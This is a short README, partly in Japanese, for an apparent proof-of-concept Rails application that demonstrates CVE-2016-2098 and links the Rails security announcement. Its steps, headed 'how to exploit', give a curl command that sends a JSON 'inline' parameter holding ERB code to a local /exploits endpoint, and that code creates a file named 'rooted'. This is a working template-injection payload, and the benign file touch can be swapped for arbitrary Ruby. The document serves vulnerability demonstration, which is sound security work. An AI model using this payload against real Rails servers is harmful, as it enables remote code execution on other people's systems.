dh-CVE_2016_2098

== README Proof of concept for https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== 悪用方法:

1. 悪用されないようにするため、確実に安全な方法でのみ Rails サーバーを起動してください。
2. rails s を実行します。
3. 以下のコマンドを実行します。 curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. プロジェクトディレクトリに "rooted" ファイルが存在することを確認します。